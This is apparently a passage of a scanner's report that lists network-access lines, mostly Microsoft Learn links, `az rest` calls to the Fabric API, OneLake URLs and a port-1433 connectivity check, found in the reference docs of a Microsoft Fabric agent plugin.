    | Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations |
  • Network accessline 457
    | Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations |
  • Network accessline 458
    | PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations |
  • Network accessline 458
    | PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations |
  • Network accessline 459
    | Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle |
  • Network accessline 459
    | Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle |
  • Network accessline 460
    | Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage |
  • Network accessline 460
    | Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage |
  • Network accessline 461
    | REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |
  • Network accessline 461
    | REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/mlv-incremental-refresh-patterns.md

  • Network accessline 29
    These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte
  • Network accessline 29
    These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte
  • Network accessline 30
    [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh):
  • Network accessline 30
    [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh):
  • Network accessline 36
    | `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for
  • Network accessline 36
    | `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for
  • Network accessline 37
    | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri
  • Network accessline 37
    | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri
  • Network accessline 38
    | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat
  • Network accessline 38
    | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/notebook-api-operations.md

  • Network accessline 26
    - Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json
  • Network accessline 26
    - Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json
  • Network accessline 221
    | 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str
  • Network accessline 221
    | 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str
  • Network accessline 222
    | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso
  • Network accessline 222
    | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso
  • Network accessline 223
    | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |
  • Network accessline 223
    | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/consumption.md

  • Network accessline 22
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b
  • Network accessline 23
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 24
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/mlv.md

  • Network accessline 83
    | Job Scheduling | [COMMON-CLI.md § Job Scheduling](../../../common/COMMON-CLI.md#job-scheduling) | URL is `/jobs/{jobType}/schedules`; `endDateTime` required | | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md
  • Network accessline 84
    | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md#job-execution) || | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control
  • Network accessline 85
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 87
    | Gotchas & Troubleshooting (CLI-Specific) | [COMMON-CLI.md § Gotchas & Troubleshooting (CLI-Specific)](../../../common/COMMON-CLI.md#gotchas--troubleshooting-cli-specific) | `az rest` audience, shell escaping, token expiry | | Quick Refere
  • Network accessline 89
    | MLV Public API Reference | [MS Learn: Manage Fabric materialized lake views with public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api) | Official documentation f
  • Network accessline 127
    **Base URL**: `https://api.fabric.microsoft.com/v1`
  • Network accessline 158
    **See**: [MS Learn: MLV Background Jobs](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule)
  • Network accessline 166
    The [Preview REST scheduler](https://learn.microsoft.com/en-us/rest/api/fabric/lakehouse/background-jobs/create-refresh-materialized-lake-views-schedule#limitations) supports refresh schedules at lakehouse scope. A lakehouse can have at mos
  • Network accessline 366
    Location: https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{lakehouseId}/jobs/instances/{jobInstanceId}
  • Network accessline 542
    az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 543
    --url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses" \
  • Network accessline 567
    # See COMMON-CLI.md for authentication setup az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 568
    az rest --resource https://api.fabric.microsoft.com \
  • Network accessline 569
    --url "https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/lakehouses/{lakehouseId}/jobs/refreshMaterializedLakeViews/instances" \
  • Network accessline 588
    Valid time zones: Windows time zone names (e.g., `"Central Standard Time"`, `"Pacific Standard Time"`, `"India Standard Time"`). Use the [Windows Default Time Zones](https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/def

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations.md

  • Network accessline 32
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b
  • Network accessline 33
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 34
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/automated-diagnostic-workflow.md

  • Network accessline 107
    https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related
  • Network accessline 228
    ### Links - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related`
  • Network accessline 229
    - **Notebook Snapshot**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related`
  • Network accessline 230
    - **Spark Monitor**: `https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/diagnostic-workflow.md

  • Network accessline 96
    Copies the full Spark event log from Fabric to a OneLake lakehouse via the [JobInsight API](jobinsight-api.md), downloads it locally, and starts the OSS Spark History Server on `http://localhost:18080` for the full Spark UI (DAG, task-level
  • Network accessline 109
    2. Download event files from OneLake DFS to local disk 3. Start local Spark History Server — see [spark-history-server.md](spark-history-server.md) 4. Open browser to `http://localhost:18080` for the full Spark UI
  • Network accessline 111
    4. Open browser to `http://localhost:18080` for the full Spark UI

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/jobinsight-api.md

  • Network accessline 134
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 135
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspaceId/items/$notebookId/jobs/RunNotebook/instances" \
  • Network accessline 147
    [Credential-related source omitted]
  • Network accessline 148
    [Credential-related source omitted]
  • Network accessline 150
    [Credential-related source omitted]
  • Network accessline 151
    [Credential-related source omitted]
  • Network accessline 152
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" \
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 161
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/<filepath>" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/pipeline-diagnosis.md

  • Network accessline 30
    **API endpoint** ([docs](https://learn.microsoft.com/en-us/fabric/data-factory/pipeline-rest-api)):
  • Network accessline 41
    # BROKEN: PowerShell treats & as call operator az rest --url "https://...?type=driver&fileName=stderr"
  • Network accessline 42
    az rest --url "https://...?type=driver&fileName=stderr"
  • Network accessline 221
    File "Cell In[14], line 19"     raise Exception(f"Expected key '{key}' not found in URL: {url}") Exception: Expected key 'cluster_id' not found in URL: https://...
  • Network accessline 223
    Exception: Expected key 'cluster_id' not found in URL: https://...
  • Network accessline 236
    https://app.powerbi.com/workloads/de-ds/sparkmonitor/{notebookId}/{livyId}?trident=1&experience=power-bi&ctid={tenantId}&tab=related
  • Network accessline 353
    **Spark Jobs**: 13/13 SUCCEEDED — failure is in Python code, not Spark infrastructure **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch
  • Network accessline 354
    **Pattern**: 31 iterations fail at the same cell with the same exception class; 5 succeed **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...` **Root Cause**: Notebook business logic expects a key in the URL that is mis
  • Network accessline 355
    **Sample failing parameters**: `cluster_url=https://...`, `batch_key=...`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/operations/spark-history-server.md

  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 121
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId?resource=filesystem&recursive=true" | jq '.paths[].name'
  • Network accessline 123
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Network accessline 125
    "https://onelake.dfs.fabric.microsoft.com/$workspaceId/$lakehouseId/Files/spark-events/$livyId/<filename>" \
  • Network accessline 146
    Navigate to `http://localhost:18080`. The application should appear in the list. Click through to:

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/consumption.md

  • Network accessline 158
    | `Login failed for user` | Wrong DB name or no access | Verify `-d` matches the REST `properties.databaseName` value (see COMMON-CLI.md "Discovering Connection Parameters via REST"), and that you have permission | | `Cannot open server` | 
  • Network accessline 159
    | `Cannot open server` | Wrong FQDN or network | Re-discover via REST API; check port 1433 | | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN | | `ActiveDirectoryDefa
  • Network accessline 160
    | `Login timeout expired` | Port 1433 blocked | `nc -zv <endpoint>.database.fabric.microsoft.com 1433`; check firewall/VPN |
  • Network accessline 162
    | Cross-database query fails | Using OLTP endpoint | Switch to SQL analytics endpoint for three-part naming | | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_fee
  • Network accessline 163
    | Data appears stale in analytics endpoint | Mirroring replication lag | Wait for replication; check status via `sys.dm_change_feed_log_scan_sessions` | | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has
  • Network accessline 164
    | Table missing from analytics endpoint | Table exceeds 1000-table mirror limit, or has unsupported PK type, or uses CCI/in-memory/Always Encrypted | Check `sys.dm_change_feed_errors`; see [mirroring limitations](https://learn.microsoft.com

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli/references/operations.md

  • Network accessline 36
    Use an already-installed `sqlcmd` first and make at most one connection attempt with it. If it is absent or its Entra authentication mode fails, do not install or upgrade tooling during the investigation. When the current PowerShell runtime

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring.md

  • Network accessline 88
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 89
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/). >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` >    - **Item-scoped
  • Network accessline 90
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 91
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 151
    > **`MERGE` and `ALTER COLUMN` are NOT hard errors.** Per [T-SQL surface area](https://learn.microsoft.com/en-us/fabric/data-warehouse/tsql-surface-area), `MERGE` is a **generally available** Warehouse feature and `ALTER TABLE ... ALTER COL
  • Network accessline 181
    # 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 182
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 183
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 184
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 188
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 189
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 190
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 191
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 194
    # For a Lakehouse SQL endpoint, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 195
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 196
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 197
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-cli-quickref.md

  • Network accessline 92
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 93
    "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 94
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 98
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 99
    "COPY INTO dbo.FactSales    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'    WITH (FILE_TYPE = 'CSV', FIRSTROW = 2, FIELDTERMINATOR = ',', ROWTERMINATOR = '\n')")
  • Network accessline 100
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 105
    "CREATE TABLE dbo.CleanData AS    SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw
  • Network accessline 106
    SELECT id, UPPER(country) AS Country, CAST(amount AS decimal(19,4)) AS Amount    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw    WHERE amount > 0")
  • Network accessline 107
    FROM OPENROWSET(BULK 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet') AS raw

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/authoring/authoring-script-templates.md

  • Network accessline 9
    **Placeholders:** The storage URLs (`https://storageacct.dfs.core.windows.net/...`), dates
  • Network accessline 23
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.StagingData    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 24
    "COPY INTO dbo.StagingData    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 25
    FROM 'https://storageacct.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 44
    fabric-sqlendpoint-execute_query(workspaceId, itemId,   "COPY INTO dbo.Staging_RawSales    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 45
    "COPY INTO dbo.Staging_RawSales    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'    WITH (FILE_TYPE = 'PARQUET')")
  • Network accessline 46
    FROM 'https://storageacct.dfs.core.windows.net/container/raw/*.parquet'

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption.md

  • Network accessline 77
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 78
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. See [mcp-setup/](../../../mcp-setup/) for registration instructions. >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sql
  • Network accessline 79
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 80
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 130
    # 1. Find workspace ID by name (capture into WS_ID for the next calls) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 132
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 137
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 138
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 139
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 142
    # For a Lakehouse, pass its SQL analytics endpoint id — NOT the lakehouse item id az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 143
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 144
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 145
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 237
    | Symptom | Cause | Fix | |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |
  • Network accessline 238
    |---|---|---| | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config | | HTTP 401 / Unauthorized | Auth token expired or invalid | Re-authenticate
  • Network accessline 239
    | MCP tool not available | MCP server not registered | Register `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` in MCP client config |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/consumption/script-templates.md

  • Network accessline 111
    # Find workspace ID (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 112
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 113
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 114
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 118
    # Find warehouse ID az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli/references/operations.md

  • Network accessline 75
    > 1. Confirm the `fabric-sqlendpoint-execute_query` tool is available in your tool list. This tool is provided by the `fabric-sqlendpoint` MCP server, which is registered either by installing a Fabric skills **plugin** (the path for end use
  • Network accessline 76
    > 2. If no matching tool is found, the user must register the Fabric SQL Endpoint MCP server. >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint` >    - **Item-scoped URL**: `https://api.fabric.microsoft.c
  • Network accessline 77
    >    - **Global URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/sqlEndpoint`
  • Network accessline 78
    >    - **Item-scoped URL**: `https://api.fabric.microsoft.com/v1/mcp/dataPlane/workspaces/{workspaceId}/items/{itemId}/sqlEndpoint`
  • Network accessline 110
    # 1. Find workspace ID by name (capture into WS_ID for the next call) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 111
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 112
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 113
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 117
    # 2. Find warehouse item ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 118
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 119
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 152
    - CPU > 5,000,000 ms → review query logic - Elapsed > 300,000 ms → check joins, filters, statistics - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance)
  • Network accessline 154
    - Reference: [Performance guidelines](https://learn.microsoft.com/fabric/data-warehouse/guidelines-warehouse-performance)
  • Network accessline 280
    For comprehensive Fabric DW best practices, see [SQLDW-CONSUMPTION-CORE.md § Performance: Best Practices and Troubleshooting](../../../common/SQLDW-CONSUMPTION-CORE.md#performance-best-practices-and-troubleshooting) and the [Fabric guidelin

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/SKILL.md

  • Network accessline 95
    | Target | Token Audience | |---|---| | Synapse ARM (management plane) | `https://management.azure.com` |
  • Network accessline 96
    |---|---| | Synapse ARM (management plane) | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 97
    | Synapse ARM (management plane) | `https://management.azure.com` |
  • Network accessline 98
    | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 99
    | Fabric REST API | `https://api.fabric.microsoft.com` |
  • Network accessline 124
    | Target | Token Audience | |---|---| | Synapse ARM | `https://management.azure.com` |
  • Network accessline 125
    |---|---| | Synapse ARM | `https://management.azure.com` | | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 126
    | Synapse ARM | `https://management.azure.com` |
  • Network accessline 127
    | Synapse Data Plane | `https://dev.azuresynapse.net` |
  • Network accessline 128
    | Fabric REST API | `https://api.fabric.microsoft.com` |
  • Network accessline 130
    > **API docs**: [Synapse ARM](https://learn.microsoft.com/en-us/rest/api/synapse) · [Synapse Data Plane](https://learn.microsoft.com/en-us/rest/api/synapse/data-plane) · [Fabric Items](https://learn.microsoft.com/en-us/rest/api/fabric/core/
  • Network accessline 225
    # Fabric conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")
  • Network accessline 226
    conn = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "my-secret")

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/code-patterns.md

  • Network accessline 70
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 163
    -- AFTER — Fabric Warehouse: COPY INTO from OneLake COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'
  • Network accessline 164
    COPY INTO dbo.FactOrders FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/' WITH (
  • Network accessline 165
    FROM 'https://onelake.dfs.fabric.microsoft.com/<workspace>/<lakehouse>.Lakehouse/Files/orders/2024/'

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connectivity-migration.md

  • Network accessline 38
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 42
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \
  • Network accessline 43
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items/${LAKEHOUSE_ID}/shortcuts" \
  • Network accessline 108
    [Credential-related source omitted]
  • Network accessline 109
    [Credential-related source omitted]
